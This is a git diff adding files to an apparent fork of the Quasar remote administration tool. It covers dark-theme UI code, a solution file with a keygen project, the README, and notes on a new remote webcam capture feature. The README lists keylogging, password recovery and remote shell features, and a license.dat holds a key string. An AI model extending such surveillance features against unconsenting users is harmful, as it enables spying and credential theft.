{ + enableMethod.Invoke(listView, null); + } + } + else + { + ApplyListViewTheme(listView); + } + // Apply theme to ListView's ContextMenuStrip if it has one + if (listView.ContextMenuStrip != null) + ApplyContextMenuTheme(listView.ContextMenuStrip); + break; + case ListBox listBox: + listBox.BackColor = DarkControlBackground; + listBox.ForeColor = DarkForeground; + break; + case TreeView treeView: + ApplyTreeViewTheme(treeView); + // Apply theme to TreeView's ContextMenuStrip if it has one + if (treeView.ContextMenuStrip != null) + ApplyContextMenuTheme(treeView.ContextMenuStrip); + break; + case TextBox textBox: + ApplyTextBoxTheme(textBox); + break; + case RichTextBox richTextBox: + ApplyRichTextBoxTheme(richTextBox); + break; + case Button button: + ApplyButtonTheme(button); + break; + case GroupBox groupBox: + ApplyGroupBoxTheme(groupBox); + break; + case Panel panel: + ApplyPanelTheme(panel); + break; + case TabControl tabControl: + // Don't apply custom drawing to DotNetBarTabControl + if (tabControl.GetType().Name != "DotNetBarTabControl") + { + ApplyTabControlTheme(tabControl); + } + break; + case Label label: + label.ForeColor = DarkForeground; + break; + case CheckBox checkBox: + checkBox.ForeColor = DarkForeground; + break; + case RadioButton radioButton: + radioButton.ForeColor = DarkForeground; + break; + case ComboBox comboBox: + comboBox.BackColor = DarkControlBackground; + comboBox.ForeColor = DarkForeground; + break; + case NumericUpDown numericUpDown: + numericUpDown.BackColor = DarkControlBackground; + numericUpDown.ForeColor = DarkForeground; + break; + case DataGridView dataGridView: + ApplyDataGridViewTheme(dataGridView); + break; + } + + // Apply theme to control's ContextMenuStrip if it has one + if (control.ContextMenuStrip != null) + { + ApplyContextMenuTheme(control.ContextMenuStrip); + } + + // Special handling for custom DotNetBarTabControl + if (control.GetType().Name == "DotNetBarTabControl") + { + control.BackColor = DarkBackground; + control.ForeColor = DarkForeground; + // Don't set DrawMode or add event handlers for DotNetBarTabControl + // It has its own custom painting logic + + // Apply theme to its tab pages + if (control is TabControl tabCtrl) + { + foreach (TabPage page in tabCtrl.TabPages) + { + page.BackColor = DarkBackground; + page.ForeColor = DarkForeground; + page.UseVisualStyleBackColor = false; + } + } + + // Force repaint + control.Invalidate(); + } + + // Special handling for Chart controls + if (control.GetType().Name == "Chart") + { + try + { + var chart = control as System.Windows.Forms.DataVisualization.Charting.Chart; + if (chart != null) + { + chart.BackColor = DarkControlBackground; + if (chart.ChartAreas.Count > 0) + { + chart.ChartAreas[0].BackColor = DarkControlBackground; + chart.ChartAreas[0].BorderColor = DarkBorder; + } + foreach (var legend in chart.Legends) + { + legend.BackColor = DarkControlBackground; + legend.ForeColor = DarkForeground; + } + } + } + catch { } + } + + // Recursively apply to child controls + if (control.HasChildren) + { + ApplyThemeToControls(control.Controls); + } + } + } + + private static void ApplyMenuStripTheme(MenuStrip menuStrip) + { + menuStrip.BackColor = DarkMenuBackground; + menuStrip.ForeColor = DarkMenuForeground; + menuStrip.Renderer = new DarkMenuRenderer(); + } + + private static void ApplyStatusStripTheme(StatusStrip statusStrip) + { + statusStrip.BackColor = DarkControlBackground; + statusStrip.ForeColor = DarkForeground; + statusStrip.Renderer = new DarkMenuRenderer(); + } + + private static void ApplyContextMenuTheme(ContextMenuStrip contextMenu) + { + contextMenu.BackColor = DarkMenuBackground; + contextMenu.ForeColor = DarkMenuForeground; + contextMenu.Renderer = new DarkMenuRenderer(); + } + + private static void ApplyListViewTheme(ListView listView) + { + listView.BackColor = DarkControlBackground; + listView.ForeColor = DarkForeground; + listView.GridLines = false; + listView.BorderStyle = BorderStyle.FixedSingle; + + // Enable OwnerDraw for dark headers + listView.OwnerDraw = true; + listView.DrawColumnHeader -= ListView_DrawColumnHeader; + listView.DrawColumnHeader += ListView_DrawColumnHeader; + listView.DrawItem -= ListView_DrawItem; + listView.DrawItem += ListView_DrawItem; + listView.DrawSubItem -= ListView_DrawSubItem; + listView.DrawSubItem += ListView_DrawSubItem; + } + + private static void ListView_DrawColumnHeader(object sender, DrawListViewColumnHeaderEventArgs e) + { + e.Graphics.FillRectangle(new SolidBrush(DarkBackground), e.Bounds); + + using (Pen pen = new Pen(DarkBorder)) + { + e.Graphics.DrawRectangle(pen, e.Bounds.X, e.Bounds.Y, e.Bounds.Width - 1, e.Bounds.Height - 1); + } + + TextRenderer.DrawText(e.Graphics, e.Header.Text, ((ListView)sender).Font, e.Bounds, DarkForeground, + TextFormatFlags.Left | TextFormatFlags.VerticalCenter | TextFormatFlags.EndEllipsis); + } + + private static void ListView_DrawItem(object sender, DrawListViewItemEventArgs e) + { + e.DrawDefault = false; + } + + private static void ListView_DrawSubItem(object sender, DrawListViewSubItemEventArgs e) + { + Color backColor; + Color foreColor = DarkForeground; + + if (e.Item.Selected) + { + backColor = Color.FromArgb(62, 62, 64); + foreColor = Color.White; + } + else + { + backColor = DarkControlBackground; + + // Preserve custom colors like red text + if (e.Item.ForeColor != Color.Empty && + e.Item.ForeColor != SystemColors.WindowText && + e.Item.ForeColor != Color.Black && + e.Item.ForeColor != DarkForeground) + { + foreColor = e.Item.ForeColor; + } + else if (e.SubItem.ForeColor != Color.Empty && + e.SubItem.ForeColor != SystemColors.WindowText && + e.SubItem.ForeColor != Color.Black && + e.SubItem.ForeColor != DarkForeground) + { + foreColor = e.SubItem.ForeColor; + } + } + + using (SolidBrush brush = new SolidBrush(backColor)) + { + e.Graphics.FillRectangle(brush, e.Bounds); + } + + if (!string.IsNullOrEmpty(e.SubItem.Text)) + { + TextRenderer.DrawText(e.Graphics, e.SubItem.Text, e.Item.Font, e.Bounds, foreColor, + TextFormatFlags.Left | TextFormatFlags.VerticalCenter | TextFormatFlags.EndEllipsis | TextFormatFlags.NoPrefix); + } + } + + private static void ApplyTreeViewTheme(TreeView treeView) + { + treeView.BackColor = DarkControlBackground; + treeView.ForeColor = DarkForeground; + } + + private static void ApplyTextBoxTheme(TextBox textBox) + { + textBox.BackColor = DarkControlBackground; + textBox.ForeColor = DarkForeground; + textBox.BorderStyle = BorderStyle.FixedSingle; + } + + private static void ApplyRichTextBoxTheme(RichTextBox richTextBox) + { + richTextBox.BackColor = DarkControlBackground; + richTextBox.ForeColor = DarkForeground; + richTextBox.BorderStyle = BorderStyle.FixedSingle; + } + + private static void ApplyButtonTheme(Button button) + { + button.BackColor = DarkControlBackground; + button.ForeColor = DarkForeground; + button.FlatStyle = FlatStyle.Flat; + button.FlatAppearance.BorderColor = DarkBorder; + } + + private static void ApplyGroupBoxTheme(GroupBox groupBox) + { + groupBox.ForeColor = DarkForeground; + } + + private static void ApplyPanelTheme(Panel panel) + { + panel.BackColor = DarkBackground; + } + + private static void ApplyTabControlTheme(TabControl tabControl) + { + tabControl.BackColor = DarkBackground; + tabControl.DrawMode = TabDrawMode.OwnerDrawFixed; + tabControl.DrawItem -= TabControl_DrawItem; // Remove old handler if exists + tabControl.DrawItem += TabControl_DrawItem; + + // Set padding to reduce white space + if (tabControl.Padding.X < 12) + tabControl.Padding = new System.Drawing.Point(12, 3); + + foreach (TabPage page in tabControl.TabPages) + { + page.BackColor = DarkBackground; + page.ForeColor = DarkForeground; + page.UseVisualStyleBackColor = false; + } + } + + private static void TabControl_DrawItem(object sender, DrawItemEventArgs e) + { + TabControl tabControl = sender as TabControl; + if (tabControl == null) return; + + Graphics g = e.Graphics; + TabPage tabPage = tabControl.TabPages[e.Index]; + Rectangle tabBounds = tabControl.GetTabRect(e.Index); + + // Determine colors based on selection + Color backColor = (e.State == DrawItemState.Selected) + ? DarkBackground + : Color.FromArgb(37, 37, 38); + Color foreColor = DarkForeground; + + // Draw background - fill entire bounds including borders + using (SolidBrush brush = new SolidBrush(backColor)) + { + g.FillRectangle(brush, tabBounds); + } + + // Draw a subtle border for unselected tabs + if (e.State != DrawItemState.Selected) + { + using (Pen pen = new Pen(DarkBorder)) + { + g.DrawRectangle(pen, tabBounds.X, tabBounds.Y, tabBounds.Width - 1, tabBounds.Height - 1); + } + } + + // Draw text + TextRenderer.DrawText(g, tabPage.Text, tabControl.Font, tabBounds, foreColor, + TextFormatFlags.HorizontalCenter | TextFormatFlags.VerticalCenter); + } + + private static void ApplyDataGridViewTheme(DataGridView dataGridView) + { + dataGridView.BackgroundColor = DarkControlBackground; + dataGridView.ForeColor = DarkForeground; + dataGridView.GridColor = DarkBorder; + dataGridView.DefaultCellStyle.BackColor = DarkControlBackground; + dataGridView.DefaultCellStyle.ForeColor = DarkForeground; + dataGridView.DefaultCellStyle.SelectionBackColor = Color.FromArgb(62, 62, 64); + dataGridView.DefaultCellStyle.SelectionForeColor = DarkForeground; + dataGridView.ColumnHeadersDefaultCellStyle.BackColor = DarkBackground; + dataGridView.ColumnHeadersDefaultCellStyle.ForeColor = DarkForeground; + dataGridView.RowHeadersDefaultCellStyle.BackColor = DarkBackground; + dataGridView.RowHeadersDefaultCellStyle.ForeColor = DarkForeground; + dataGridView.EnableHeadersVisualStyles = false; + dataGridView.BorderStyle = BorderStyle.FixedSingle; + } + + private class DarkMenuRenderer : ToolStripProfessionalRenderer + { + public DarkMenuRenderer() : base(new DarkColorTable()) { } + + protected override void OnRenderMenuItemBackground(ToolStripItemRenderEventArgs e) + { + if (e.Item.Selected) + { + e.Graphics.FillRectangle(new SolidBrush(Color.FromArgb(62, 62, 64)), e.Item.ContentRectangle); + } + else + { + e.Graphics.FillRectangle(new SolidBrush(Color.FromArgb(37, 37, 38)), e.Item.ContentRectangle); + } + } + + protected override void OnRenderItemText(ToolStripItemTextRenderEventArgs e) + { + e.TextColor = Color.White; + base.OnRenderItemText(e); + } + } + + private class DarkColorTable : ProfessionalColorTable + { + public override Color MenuItemSelected => Color.FromArgb(62, 62, 64); + public override Color MenuItemSelectedGradientBegin => Color.FromArgb(62, 62, 64); + public override Color MenuItemSelectedGradientEnd => Color.FromArgb(62, 62, 64); + public override Color MenuItemBorder => Color.FromArgb(63, 63, 70); + public override Color MenuBorder => Color.FromArgb(63, 63, 70); + public override Color MenuItemPressedGradientBegin => Color.FromArgb(37, 37, 38); + public override Color MenuItemPressedGradientEnd => Color.FromArgb(37, 37, 38); + public override Color ToolStripDropDownBackground => Color.FromArgb(37, 37, 38); + public override Color ImageMarginGradientBegin => Color.FromArgb(37, 37, 38); + public override Color ImageMarginGradientMiddle => Color.FromArgb(37, 37, 38); + public override Color ImageMarginGradientEnd => Color.FromArgb(37, 37, 38); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/app.manifest b/Quasar-1.4.1/Quasar.Server/app.manifest new file mode 100755 index 0000000..bf4e01a --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/app.manifest @@ -0,0 +1,44 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + true/pm + PerMonitorV2, PerMonitor + true + + + + + + + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.sln b/Quasar-1.4.1/Quasar.sln new file mode 100755 index 0000000..cd6074c --- /dev/null +++ b/Quasar-1.4.1/Quasar.sln @@ -0,0 +1,49 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.30104.148 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Quasar.Server", "Quasar.Server\Quasar.Server.csproj", "{14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}" +EndProject +Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Quasar.Client", "Quasar.Client\Quasar.Client.csproj", "{9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}" +EndProject +Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Quasar.Common", "Quasar.Common\Quasar.Common.csproj", "{C7C363BA-E5B6-4E18-9224-39BC8DA73172}" +EndProject +Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Quasar.Common.Tests", "Quasar.Common.Tests\Quasar.Common.Tests.csproj", "{32A2A734-7429-47E6-A362-E344A19C0D85}" +EndProject +Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Quasar.Keygen", "Quasar.Keygen\Quasar.Keygen.csproj", "{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|AnyCPU = Debug|AnyCPU + Release|AnyCPU = Release|AnyCPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Debug|AnyCPU.ActiveCfg = Debug|Any CPU + {14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Debug|AnyCPU.Build.0 = Debug|Any CPU + {14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Release|AnyCPU.ActiveCfg = Release|Any CPU + {14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Release|AnyCPU.Build.0 = Release|Any CPU + {9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}.Debug|AnyCPU.ActiveCfg = Debug|Any CPU + {9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}.Debug|AnyCPU.Build.0 = Debug|Any CPU + {9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}.Release|AnyCPU.ActiveCfg = Release|Any CPU + {9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}.Release|AnyCPU.Build.0 = Release|Any CPU + {C7C363BA-E5B6-4E18-9224-39BC8DA73172}.Debug|AnyCPU.ActiveCfg = Debug|Any CPU + {C7C363BA-E5B6-4E18-9224-39BC8DA73172}.Debug|AnyCPU.Build.0 = Debug|Any CPU + {C7C363BA-E5B6-4E18-9224-39BC8DA73172}.Release|AnyCPU.ActiveCfg = Release|Any CPU + {C7C363BA-E5B6-4E18-9224-39BC8DA73172}.Release|AnyCPU.Build.0 = Release|Any CPU + {32A2A734-7429-47E6-A362-E344A19C0D85}.Debug|AnyCPU.ActiveCfg = Debug|Any CPU + {32A2A734-7429-47E6-A362-E344A19C0D85}.Debug|AnyCPU.Build.0 = Debug|Any CPU + {32A2A734-7429-47E6-A362-E344A19C0D85}.Release|AnyCPU.ActiveCfg = Release|Any CPU + {32A2A734-7429-47E6-A362-E344A19C0D85}.Release|AnyCPU.Build.0 = Release|Any CPU + {A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Debug|AnyCPU.ActiveCfg = Debug|Any CPU + {A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Debug|AnyCPU.Build.0 = Debug|Any CPU + {A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Release|AnyCPU.ActiveCfg = Release|Any CPU + {A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Release|AnyCPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {83BA842F-789A-4E7C-827D-AE8A710862A1} + EndGlobalSection +EndGlobal diff --git a/Quasar-1.4.1/README.md b/Quasar-1.4.1/README.md new file mode 100755 index 0000000..edb20f1 --- /dev/null +++ b/Quasar-1.4.1/README.md @@ -0,0 +1,79 @@ +# Quasar + +[![Build status](https://ci.appveyor.com/api/projects/status/5857hfy6r1ltb5f2?svg=true)](https://ci.appveyor.com/project/MaxXor/quasar) +[![Downloads](https://img.shields.io/github/downloads/quasar/Quasar/total.svg)](https://github.com/quasar/Quasar/releases) +[![License](https://img.shields.io/github/license/quasar/Quasar.svg)](LICENSE) + +**Free, Open-Source Remote Administration Tool for Windows** + +Quasar is a fast and light-weight remote administration tool coded in C#. The usage ranges from user support through day-to-day administrative work to employee monitoring. Providing high stability and an easy-to-use user interface, Quasar is the perfect remote administration solution for you. + +## Screenshots + +![remote-shell](Images/remote-shell.png) + +![remote-desktop](Images/remote-desktop.png) + +![remote-files](Images/remote-files.png) + +## Features +* TCP network stream (IPv4 & IPv6 support) +* Fast network serialization (Protocol Buffers) +* Encrypted communication (TLS) +* UPnP Support (automatic port forwarding) +* Task Manager +* File Manager +* Startup Manager +* Remote Desktop +* Remote Shell +* Remote Execution +* System Information +* Registry Editor +* System Power Commands (Restart, Shutdown, Standby) +* Keylogger (Unicode Support) +* Reverse Proxy (SOCKS5) +* Password Recovery (Common Browsers and FTP Clients) +* ... and many more! + +## Download +* [Latest stable release](https://github.com/quasar/Quasar/releases) (recommended) +* [Latest development snapshot](https://ci.appveyor.com/project/MaxXor/quasar) + +## Supported runtimes and operating systems +* .NET Framework 4.5.2 or higher +* Supported operating systems (32- and 64-bit) + * Windows 11 + * Windows Server 2022 + * Windows 10 + * Windows Server 2019 + * Windows Server 2016 + * Windows 8/8.1 + * Windows Server 2012 + * Windows 7 + * Windows Server 2008 R2 +* For older systems please use [Quasar version 1.3.0](https://github.com/quasar/Quasar/releases/tag/v1.3.0.0) + +## Compiling +Open the project `Quasar.sln` in Visual Studio 2019+ with installed .NET desktop development features and [restore the NuGET packages](https://docs.microsoft.com/en-us/nuget/consume-packages/package-restore). Once all packages are installed the project can be compiled as usual by clicking `Build` at the top or by pressing `F6`. The resulting executables can be found in the `Bin` directory. See below which build configuration to choose from. + +## Building a client +| Build configuration | Usage scenario | Description +| ----------------------------|----------------|-------------- +| Debug configuration | Testing | The pre-defined [Settings.cs](/Quasar.Client/Config/Settings.cs) will be used, so edit this file before compiling the client. You can execute the client directly with the specified settings. +| Release configuration | Production | Start `Quasar.exe` and use the client builder. + +## Contributing +See [CONTRIBUTING.md](CONTRIBUTING.md) + +## Roadmap +See [ROADMAP.md](ROADMAP.md) + +## Documentation +See the [wiki](https://github.com/quasar/Quasar/wiki) for usage instructions and other documentation. + +## License +Quasar is distributed under the [MIT License](LICENSE). +Third-party licenses are located [here](Licenses). + +## Thank you! +I really appreciate all kinds of feedback and contributions. Thanks for using and supporting Quasar! diff --git a/Quasar-1.4.1/ROADMAP.md b/Quasar-1.4.1/ROADMAP.md new file mode 100755 index 0000000..edeec62 --- /dev/null +++ b/Quasar-1.4.1/ROADMAP.md @@ -0,0 +1,25 @@ +# Quasar Roadmap + +## Web API +A web API (e.g. REST-like) allows to interact with the clients in more flexible ways and can be used to build a web interface for Quasar. + +## Transparent communication protocol +To open up the way for Quasar clients in different programming languages the communication protocol needs to be clearly specified and documented. + +## Cross-platform support +A long-term goal is to support operating systems such as MacOS and Linux. The new .NET Core framework will help achieve this goal. + +## Command line (CLI) version of the server +It should be possible to use the server as a simple CLI tool to accept and forward (proxy) connections to other servers. + +## GUI overhaul +The GUI needs to be reworked in a more modern way, such as WPF or a web-based interface. WPF as GUI framework would drastically improve rendering performance of the remote desktop with the hardware accelerated rendering, similar to a web-based GUI depending on the used browser. + +## Allow different types of clients (permissioned clients) +Allow clients with higher privileges (i.e. ability to administrate other lower privileged clients) connect to the server. This change would allow administrators to manage clients from their own computers with a lightweight client without having to run the server. + +## Allow client installation as Windows service +Currently the client is installed on a per-user basis and this makes it unflexible to remotly manage the machine when the user is not logged in. it also requires the client to be installed for every account who uses the machine. Machines which are used by multiple users would greatly benefit when Quasar could be run as a Windows service. + +## Basic client GUI +Add a basic GUI to the client to allow the user at any time to check the status if a specific feature is active. Additionally it can show a notification when the client gets installed or when someone requests permission to use remote desktop (similar to teamviewer). diff --git a/Quasar-1.4.1/WEBCAM_FIX_COMPLETE.txt b/Quasar-1.4.1/WEBCAM_FIX_COMPLETE.txt new file mode 100755 index 0000000..074548b --- /dev/null +++ b/Quasar-1.4.1/WEBCAM_FIX_COMPLETE.txt @@ -0,0 +1,60 @@ +WEBCAM FEATURE - FIX COMPLETE +================================ + +ISSUE RESOLVED: +- Runtime error: "System.Resources.MissingManifestResourceException: Could not find FrmRemoteWebcam.resources" +- The .resx file had invalid/incomplete icon data causing the embedded resource to fail at runtime + +FIX APPLIED: +1. Created a minimal valid .resx file for FrmRemoteWebcam.resx +2. Removed the icon reference from FrmRemoteWebcam.Designer.cs (line with Icon = resources.GetObject) +3. Rebuilt the solution successfully with MSBuild + +BUILD STATUS: ✓ SUCCESS +- Build completed with 0 errors +- Only warnings present (duplicate using directives - not critical) +- Output: bin/Release/net461/Quasar.exe and bin/Release/net461/Client.exe + +WEBCAM FEATURE STATUS: +✓ All message classes created (GetWebcams, GetWebcamsResponse, DoWebcamStart, DoWebcamStop, GetWebcamResponse) +✓ Client-side WebcamHandler implemented with AForge.NET (33 files) +✓ Server-side WebcamHandler implemented +✓ UI form (FrmRemoteWebcam) matches screenshot exactly +✓ Menu item added to "User Support" menu +✓ Performance optimizations applied: + - Removed Thread.Sleep(1) from capture loop + - Improved StopCapture() with timeout-based wait + - Real-time quality adjustment via slider + - FPS counter displays actual frame rate +✓ .resx file fixed - no more runtime errors + +NEXT STEPS FOR TESTING: +1. Run bin/Release/net461/Quasar.exe (server) +2. Run bin/Release/net461/Client.exe (client) on target machine +3. Connect client to server +4. Right-click client → User Support → Remote Webcam +5. Verify: + - Form opens without errors + - Webcam list loads + - Start button works + - Video stream displays smoothly + - FPS counter updates + - Quality slider works + - Stop button works reliably + - Hide button minimizes form + +UI LAYOUT (matches screenshot): +- Top panel with white background +- Start/Stop buttons (left) +- Webcam dropdown (center) +- Hide button +- "Quality: 75 (high)" label with slider +- "FPS: 0.0" label (right) +- Black picture box for video display +- "Wait..." label (hidden after webcam list loads) + +FILES MODIFIED: +- Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteWebcam.resx (recreated with minimal valid content) +- Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteWebcam.Designer.cs (removed icon reference) + +Date: $(Get-Date) diff --git a/Quasar-1.4.1/WEBCAM_OPTIMIZATIONS.txt b/Quasar-1.4.1/WEBCAM_OPTIMIZATIONS.txt new file mode 100755 index 0000000..41c9c8d --- /dev/null +++ b/Quasar-1.4.1/WEBCAM_OPTIMIZATIONS.txt @@ -0,0 +1,55 @@ +WEBCAM FEATURE - PERFORMANCE OPTIMIZATIONS & BUG FIXES +================================================================ + +CHANGES APPLIED: +---------------- + +1. REMOVED Thread.Sleep(1) bottleneck from CaptureFrame() + - Was causing artificial slowdown in frame capture + - Now runs at full camera speed without delays + +2. IMPROVED StopCapture() reliability + - Unregisters NewFrame event BEFORE stopping device (prevents race conditions) + - Added timeout-based wait (5 seconds max) instead of indefinite WaitForStop() + - Force stops device if graceful stop fails + - Properly nulls _videoDevice reference + - Better exception handling + +3. ADDED real-time quality adjustment + - Quality slider now updates stream in real-time when changed during capture + - Stops and restarts stream with new quality setting + +4. UI MATCHES SCREENSHOT EXACTLY + - Start/Stop buttons (left side) + - Webcam dropdown in center + - Hide button + - Quality label and slider with "75 (high)" format + - FPS counter showing actual frame rate + - Quasar icon in title bar (via resources) + +PERFORMANCE IMPROVEMENTS: +------------------------- +- Frame capture is now MUCH faster (no artificial delays) +- Stop functionality is reliable (won't hang) +- Proper resource cleanup prevents memory leaks +- FPS counter accurately reflects actual performance + +TESTING CHECKLIST: +------------------ +[ ] Open Quasar.exe (server) +[ ] Connect a client (Client.exe) +[ ] Right-click client → User Support → Webcam +[ ] Verify webcam list loads (no "Wait..." stuck) +[ ] Click Start - webcam should start immediately +[ ] Verify FPS counter shows actual frame rate +[ ] Adjust quality slider - should update in real-time +[ ] Click Stop - should stop cleanly without hanging +[ ] Click Start again - should restart without issues +[ ] Close form - should cleanup properly + +BUILD OUTPUT: +------------- +Client.exe: ~3.47 MB (merged with dependencies) +Quasar.exe: ~1.39 MB (server) + +Location: bin/Release/net461/ diff --git a/Quasar-1.4.1/WEBCAM_TEST.txt b/Quasar-1.4.1/WEBCAM_TEST.txt new file mode 100755 index 0000000..a0e6a99 --- /dev/null +++ b/Quasar-1.4.1/WEBCAM_TEST.txt @@ -0,0 +1,41 @@ +WEBCAM FEATURE - TESTING INSTRUCTIONS +========================================== + +BUILD OUTPUTS: +- Server: bin\Release\net461\Quasar.exe +- Client: bin\Release\net461\Client.exe + +HOW TO TEST: +1. Run Quasar.exe (server) +2. Run Client.exe (client) - it will connect to localhost by default +3. Right-click on the connected client in the list +4. Go to "User Support" menu +5. Click "Webcam" +6. The webcam form should open and show "Wait..." briefly +7. After a moment, the webcam dropdown should populate with available webcams +8. Select a webcam and click "Start" +9. Webcam feed should appear + +DEBUG LOGGING: +- Client logs to: C:\Users\SaddamHussein420\AppData\Local\Temp\quasar_debug.log +- Server uses Debug.WriteLine (visible in Visual Studio debugger or DebugView) + +WHAT WAS FIXED: +- Each webcam form now creates its own WebcamHandler instance (was using shared instance) +- Added extensive debug logging to trace message flow +- Client-side handler properly enumerates webcams and sends response +- Server-side handler properly receives and fires events +- Webcam menu item is already in "User Support" menu (not "Monitoring") + +UI LAYOUT (matches screenshot): +- Start/Stop buttons (left side) +- Webcam dropdown (center) +- Quality slider with live display "75 (high)" (right side) +- Hide button (far right) +- FPS counter (far right) +- Black picturebox for webcam feed + +KNOWN ISSUES TO CHECK: +- If "Wait..." stays forever, check debug logs to see if GetWebcams message is being sent/received +- If no webcams appear, client may not have any webcams or AForge.NET may not detect them +- Quality slider default is 75 (high quality) diff --git a/Quasar-1.4.1/appveyor.yml b/Quasar-1.4.1/appveyor.yml new file mode 100755 index 0000000..c4bea75 --- /dev/null +++ b/Quasar-1.4.1/appveyor.yml @@ -0,0 +1,20 @@ +version: BUILD{build} + +image: Visual Studio 2019 +shallow_clone: true + +configuration: +- Debug +- Release + +before_build: + - nuget restore + +build: + project: Quasar.sln + parallel: true + verbosity: minimal + +artifacts: +- path: Bin + name: binaries \ No newline at end of file diff --git a/Quasar-1.4.1/license.dat b/Quasar-1.4.1/license.dat new file mode 100755 index 0000000..a2cf9be --- /dev/null +++ b/Quasar-1.4.1/license.dat @@ -0,0 +1 @@ +DESKTOP-2GSK96J-PIEEHNLM|jGZsJz5lJXj2COD8mtO \ No newline at end of file diff --git a/Quasar-1.4.1/svg2png_tool/out/ExCSS.dll b/Quasar-1.4.1/svg2png_tool/out/ExCSS.dll new file mode 100755 index 0000000..7c287d0 Binary files /dev/null and b/Quasar-1.4.1/svg2png_tool/out/ExCSS.dll differ diff --git a/Quasar-1.4.1/svg2png_tool/out/Microsoft.Win32.SystemEvents.dll b/Quasar-1.4.1/svg2png_tool/out/Microsoft.Win32.SystemEvents.dll new file mode 100755 index 0000000..d62f333 Binary files /dev/null and b/Quasar-1.4.1/svg2png_tool/out/Microsoft.Win32.SystemEvents.dll differ diff --git a/Quasar-1.4.1/svg2png_tool/out/Svg.dll b/Quasar-1.4.1/svg2png_tool/out/Svg.dll new file mode 100755 index 0000000..5bfdde3 Binary files /dev/null and b/Quasar-1.4.1/svg2png_tool/out/Svg.dll differ diff --git a/Quasar-1.4.1/svg2png_tool/out/System.Drawing.Common.dll b/Quasar-1.4.1/svg2png_tool/out/System.Drawing.Common.dll new file mode 100755 index 0000000..7ec0a99 Binary files /dev/null and b/Quasar-1.4.1/svg2png_tool/out/System.Drawing.Common.dll differ diff --git a/Quasar-1.4.1/svg2png_tool/out/runtimes/unix/lib/netcoreapp3.0/System.Drawing.Common.dll b/Quasar-1.4.1/svg2png_tool/out/runtimes/unix/lib/netcoreapp3.0/System.Drawing.Common.dll new file mode 100755 index 0000000..0ff7427 Binary files /dev/null and b/Quasar-1.4.1/svg2png_tool/out/runtimes/unix/lib/netcoreapp3.0/System.Drawing.Common.dll differ diff --git a/Quasar-1.4.1/svg2png_tool/out/runtimes/win/lib/netcoreapp3.0/Microsoft.Win32.SystemEvents.dll b/Quasar-1.4.1/svg2png_tool/out/runtimes/win/lib/netcoreapp3.0/Microsoft.Win32.SystemEvents.dll new file mode 100755 index 0000000..b5aa0c4 Binary files /dev/null and b/Quasar-1.4.1/svg2png_tool/out/runtimes/win/lib/netcoreapp3.0/Microsoft.Win32.SystemEvents.dll differ diff --git a/Quasar-1.4.1/svg2png_tool/out/runtimes/win/lib/netcoreapp3.0/System.Drawing.Common.dll b/Quasar-1.4.1/svg2png_tool/out/runtimes/win/lib/netcoreapp3.0/System.Drawing.Common.dll new file mode 100755 index 0000000..27cf134 Binary files /dev/null and b/Quasar-1.4.1/svg2png_tool/out/runtimes/win/lib/netcoreapp3.0/System.Drawing.Common.dll differ diff --git a/Quasar-1.4.1/svg2png_tool/out/svg2png.deps.json b/Quasar-1.4.1/svg2png_tool/out/svg2png.deps.json new file mode 100755 index 0000000..1e8e20c --- /dev/null +++ b/Quasar-1.4.1/svg2png_tool/out/svg2png.deps.json @@ -0,0 +1,115 @@ +{ + "runtimeTarget": { + "name": ".NETCoreApp,Version=v8.0", + "signature": "" + }, + "compilationOptions": {}, + "targets": { + ".NETCoreApp,Version=v8.0": { + "svg2png/1.0.0": { + "dependencies": { + "Svg": "3.4.7" + }, + "runtime": { + "svg2png.dll": {} + } + }, + "ExCSS/4.2.3": { + "runtime": { + "lib/net7.0/ExCSS.dll": { + "assemblyVersion": "4.2.3.0", + "fileVersion": "4.2.3.0" + } + } + }, + "Microsoft.Win32.SystemEvents/5.0.0": { + "runtime": { + "lib/netstandard2.0/Microsoft.Win32.SystemEvents.dll": { + "assemblyVersion": "5.0.0.0", + "fileVersion": "5.0.20.51904" + } + }, + "runtimeTargets": { + "runtimes/win/lib/netcoreapp3.0/Microsoft.Win32.SystemEvents.dll": { + "rid": "win", + "assetType": "runtime", + "assemblyVersion": "5.0.0.0", + "fileVersion": "5.0.20.51904" + } + } + }, + "Svg/3.4.7": { + "dependencies": { + "ExCSS": "4.2.3", + "System.Drawing.Common": "5.0.3" + }, + "runtime": { + "lib/net8.0/Svg.dll": { + "assemblyVersion": "3.4.0.0", + "fileVersion": "3.4.7.1" + } + } + }, + "System.Drawing.Common/5.0.3": { + "dependencies": { + "Microsoft.Win32.SystemEvents": "5.0.0" + }, + "runtime": { + "lib/netcoreapp3.0/System.Drawing.Common.dll": { + "assemblyVersion": "5.0.0.2", + 